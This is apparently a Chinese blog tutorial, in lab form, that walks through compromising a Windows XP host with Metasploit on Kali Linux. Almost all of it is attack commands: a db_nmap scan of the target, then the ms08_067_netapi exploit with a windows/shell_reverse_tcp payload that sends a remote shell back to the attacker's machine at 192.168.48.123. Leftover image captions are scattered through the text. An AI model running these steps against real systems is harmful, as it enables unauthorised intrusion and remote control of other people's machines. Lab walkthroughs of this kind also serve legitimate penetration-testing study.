保证网络连通性,配置网络

开启PostgreSQL:  service postgresql start
开启metasploit:  service metasploit start

root@kali:~# msfconsole

kali之***XP系统2_第1张图片

msf > workspace
msf > db_status
msf > workspace -a testlab
msf > db_nmap -T4 -A 192.168.48.100 扫描系统版本及端口

kali之***XP系统2_第2张图片

msf > hosts
msf > services

kali之***XP系统2_第3张图片

msf exploit(ms06_040_netapi) > search netapi 查找漏洞

msf > use exploit/windows/smb/ms08_067_netapi 使用ms08-067漏洞

kali之***XP系统2_第4张图片

msf exploit(ms08_067_netapi) > set payload windows/shell_reverse_tcp 定义***载荷

msf exploit(ms08_067_netapi) > show payloads

kali之***XP系统2_第5张图片

msf exploit(ms08_067_netapi) > set rhost 192.168.48.100 定义shell反弹ip
msf exploit(ms08_067_netapi) > set lhost 192.168.48.123

wKioL1lTdJOwFKW2AACtxGO8Yl4688.jpg

msf exploit(ms08_067_netapi) > exploit

这只针对SP1,2。SP3无法使用